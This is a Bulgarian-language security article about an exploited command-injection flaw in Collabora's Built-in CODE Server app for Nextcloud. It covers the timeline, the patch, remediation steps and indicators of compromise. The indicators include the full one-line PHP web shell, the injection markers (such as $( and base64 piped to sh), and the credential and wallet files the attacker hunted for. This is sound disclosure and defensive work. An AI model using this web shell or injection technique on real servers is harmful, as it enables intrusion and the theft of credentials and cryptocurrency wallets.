Атакуващи са експлоатирали уязвимост в опционално приложение за Nextcloud – Collabora Online - Built-in CODE Server, за да внедрят уеб шелове (web shells) на Nextcloud сървъри. Трима администратори съобщиха за проблема в GitHub, като първата регистрирана атака е от 10 септември.
Уеб шелът е малък файл, който изпълнява всяка команда, изпратена от атакуващ чрез уеб заявка, с правата на акаунта на уеб сървъра. Уязвимостта позволява неавтентикирана заявка да изпълни команда на сървъра, но само когато локалният документен сървър на приложението не работи, например по време на рестартиране или обновяване, или след срив.
Collabora отстрани уязвимостта във версия 26.4.303 на 11 септември, а на 14 октомври публикува бюлетин за сигурност с идентификатор CVE-2026-110447, предупреждавайки, че изключването на приложението не помага: то трябва да бъде обновено или премахнато.
Кой е засегнат
Приложението, публикувано от Collabora под името на пакета richdocumentscode, изтегля копие на Collabora Online Development Edition (CODE) и го стартира на самия Nextcloud сървър.
Това позволява на Nextcloud Office да редактира документи без отделен Collabora сървър. В описанието му в магазина се посочва, че то е „за локално тестване и непродуктивна употреба“ и „за лична употреба или за малки екипи“.
Бюлетинът на Collabora обхваща всички версии преди 26.4.303 и посочва, че самостоятелните сървъри на Collabora Online не са засегнати. В предупреждение, публикувано във форума на общността на Nextcloud на 3 октомври, се заявява, че инсталацията не е засегната, ако използва единствено приложението Nextcloud Office (richdocuments) без вграденото приложение, независимо дали нейният Collabora сървър работи в Docker, от Linux пакет или при хостинг доставчик.
Скриптът proxy.php на приложението стартира локалния CODE сървър винаги, когато пристигне заявка и нищо не слуша. Във версии до 26.4.302 скриптът поставя текст от заявката, включително нейния път, в оградена с двойни кавички bash команда, където командният интерпретатор все още изпълнява всичко, записано като $(...).
Заявка със скрита команда в нейния път е изпълнявала тази команда като потребителя на уеб сървъра. Тъй като скриптът генерира тази команда само когато трябва да стартира сървъра, атаката работи само докато сървърът не работи, например по време на рестартиране на контейнер, обновяване или срив.
Скриптът е обикновен PHP файл, който уеб сървърът изпълнява директно от директорията на приложението и не зарежда нищо от кода на Nextcloud.
„Не е достатъчно приложението да бъде деактивирано, за да се избегне проблемът; то трябва да бъде обновено до >= 26.4.303 или премахнато“, посочи Collabora в бюлетина си.
Коригираните версии изискват Nextcloud 30 или по-нова.
Nextcloud 29 и по-старите версии са с прекратена поддръжка (end of life), а магазинът за приложения все още им предлага засегната версия, така че техните потребители трябва да обновят Nextcloud или да премахнат приложението. Корекцията на Collabora за отделна уязвимост за инжектиране на команди в същия скрипт, CVE-2025-66208, оповестена миналия декември, не предотвратява тази.
Какво са направили атакуващите
Първият доклад дойде от администратор, който хоства няколко Nextcloud сървъра и написа в GitHub, че сървърите са били компрометирани от предишния ден. Дневниците за достъп (access logs) от два от тях показват заявки в 19:51 ч. на 10 септември и в 09:56 ч. на 11 септември (UTC+2), и двете от един IP адрес и насочени към proxy.php?status със shell команда, скрита в пътя на заявката. Всички сървъри на администратора са работили с версия 26.4.302.
Командата е декодирала едноредов PHP уеб шел в папката на приложението и се е опитала да изпрати резултата от uname -a на сървъра към адрес на webhook.site. На един от сървърите атакуващият след това е използвал шела, за да търси хранилища за идентификационни данни и портфейли за криптовалута, включително файлове *.kdbx, wallet.dat и keystore.json, както и имена като bitwarden, 1password, .bitcoin, .electrum, .monero и .ethereum.
Прегледаните заявки не показват команди, които са архивирали, качвали или копирали файлове извън системата, но всичко, което акаунтът на уеб сървъра може да чете, трябва да се третира като потенциално компрометирано, написа администраторът.
Още двама администратори съобщиха за същото при своите инстанции. Единият е открил шела, когато проверката за цялост на Nextcloud е сигнализирала за нов PHP файл, а другият е разбрал за пробива от имейли за неуспешни опити за sudo на сървъра. Нито един от докладите не показва атакуващият да е получил root достъп.
След обновяване до 26.4.303 един от тях е регистрирал друг опит на 14 септември от втори IP адрес със зловреден код от същия тип. CODE сървърът, който той е стартирал, е съдържал текста на атаката в своите параметри за стартиране, но не се е появил нов файл с шел. Резултатът „изглежда плашещ, но би трябвало да е безвреден“, отговори mmeeks, който отговаряше от името на проекта в дискусията, като посъветва потребителите да обновят и да премахнат всички останали shx*.php файлове.
Записът в CVE описва уязвимостта като „експлоатирана в реални условия през септември и октомври 2026 г.“. Не е известно колко сървъра са били засегнати. „Това засяга само Development Edition и то само в този (по-рядък) режим на внедряване на Built-in CODE Server, който изтегля локален appimage“, написа mmeeks.
Какво да направите сега
- Обновете
richdocumentscode, което се появява в списъка с приложения на Nextcloud като Collabora Online - Built-in CODE Server, до 26.4.303 или по-нова версия, или премахнете приложението. Деактивирането му в Nextcloud не отстранява уязвимостта. - При Nextcloud 29 или по-стара версия, която не може да инсталира 26.4.303, надградете Nextcloud или премахнете приложението.
- Ако вече сте се обновили, потърсете файлове
shx*.php, започвайки отapps/richdocumentscode, и ги изтрийте. След това проверете вашите дневници за достъп поне от 10 септември насам за заявки къмproxy.php?status, чийто път съдържа%2e%2e,$(или${IFS}, и проверете за опити заsudoот страна на акаунта на уеб сървъра. Третирайте всичко, което този акаунт е можел да прочете, като потенциално компрометирано, както посъветва първият докладчик. - Версия 26.4.402, пусната на 24 септември, пренаписа командата за стартиране, така че всяка опция да се предава като отделен аргумент, но администратори съобщават, че тя не успява да стартира или не успява да отвори документи при някои конфигурации и са се върнали към 26.4.303 – версията, която бюлетинът посочва като решение. Към 14 октомври не се е появила по-нова версия.
Индикатори от дневниците на администраторите:
- Файл:
shrf4645.php,shxa35d0.php,shx5cf91.php,shxd33ce.phpиshxf4645.php, открити вapps/richdocumentscode/на сървърите на първия подател на сигнала - Файл:
shx13a86.php, открит от втори администратор (местоположението не е посочено) - Файл:
shx56367.php, името при опита от 14 септември, при който не е създаден файл - SHA-256:
4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562, едноредовият шел<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1'); - Път:
/apps/richdocumentscode/proxy.php?status - IP:
139.28[.]18[.]122(атаки от 10 и 11 септември),89.38[.]98[.]50(опит от 14 септември срещу сървър с инсталирана корекция за сигурност) - Маркери на заявката:
%2e%2e,$(,${IFS}иbase64 -d, пренасочен къмsh, всички в пътя на заявката - Домейн:
webhook[.]site, публична услуга, с callback идентификатори45060ed4-de0b-4119-8f0d-2a2776bbd413и774cf5e1-b5a4-4174-a1ad-0241861029a2
Корекция, издадена без известие за сигурност
Промяната в кода, която отстранява уязвимостта, се състои от четири реда в proxy.php. Командата за стартиране вече се предава на bash като единичен екраниран аргумент вместо като низ в двойни кавички, така че командният интерпретатор, който я получава, вече не разгръща текст от заявката.
Записът на комитите в хранилището показва, че промяната е написана на 20 август от Caolán McNamara, който също така публикува и бюлетина за сигурност, под заглавието „tidy up how the coolwsd launch command is built.“. Тя не е присъствала във версия 26.4.302, пусната на 31 август, и е комитната на 9 септември. Първата регистрирана атака е извършена на 10 септември, а версия 26.4.303 я последва на 11 септември с бележки към изданието, в които се посочва единствено вградената компилация на CODE.
Администраторът, който съобщи за атаките, деактивира приложението, докато чака корекция за сигурност – стъпка, за която в бюлетина сега се посочва, че не е достатъчна. В дискусията mmeeks посъветва потребителите да обновят, обеща „още актуализации своевременно“ и посочи „рекордно изоставане“ в базата данни с бюлетини на GitHub, препращайки към публикация от юни, в която GitHub съобщава, че обработката изостава със седмици.
На 3 октомври член на форума на общността на Nextcloud предупреди останалите потребители да обновят незабавно, тъй като уязвимостта „вече се експлоатира“ и „не е публикувано предупреждение или CVE“. CVE и бюлетинът се появиха на 14 октомври. В бюлетина като подател на сигнала се посочва потребителят на GitHub wwwshellcodeit, като нито в него, нито в дискусията се казва кога е постъпил сигналът или кога Collabora е разбрала, че промяната представлява корекция за сигурност.